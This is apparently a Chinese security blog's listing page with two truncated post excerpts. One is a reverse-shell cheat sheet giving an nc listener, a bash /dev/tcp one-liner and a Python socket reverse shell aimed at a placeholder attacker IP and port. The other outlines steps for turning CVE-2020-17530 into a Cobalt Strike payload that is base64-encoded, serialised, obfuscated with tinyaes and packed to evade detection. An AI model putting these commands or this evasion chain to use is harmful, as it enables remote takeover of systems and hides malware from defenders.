wo41ge的博客

bash反弹shell接收端：nc -lvvp 端口发送端：bash -i >& /dev/tcp/接收端IP/接收端端口 0>&1python反弹shell接收端：nc -lvvp 端口发送端：python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("接收端IP",接收端端口));os.dup2(s.fileno(),

CVE-2020-17530漏洞思路是：1、CS生成python-paylod2、payload转base643、base64的payload用序列化转码4、序列化转码后在用反序列化转码5、转成反序列化后在用python3的tinyaes混淆6、混淆完在用另外的东西加壳成对方环境执行的文件类型具体看这里：https://m.freebuf.com/articles/web/257506.html...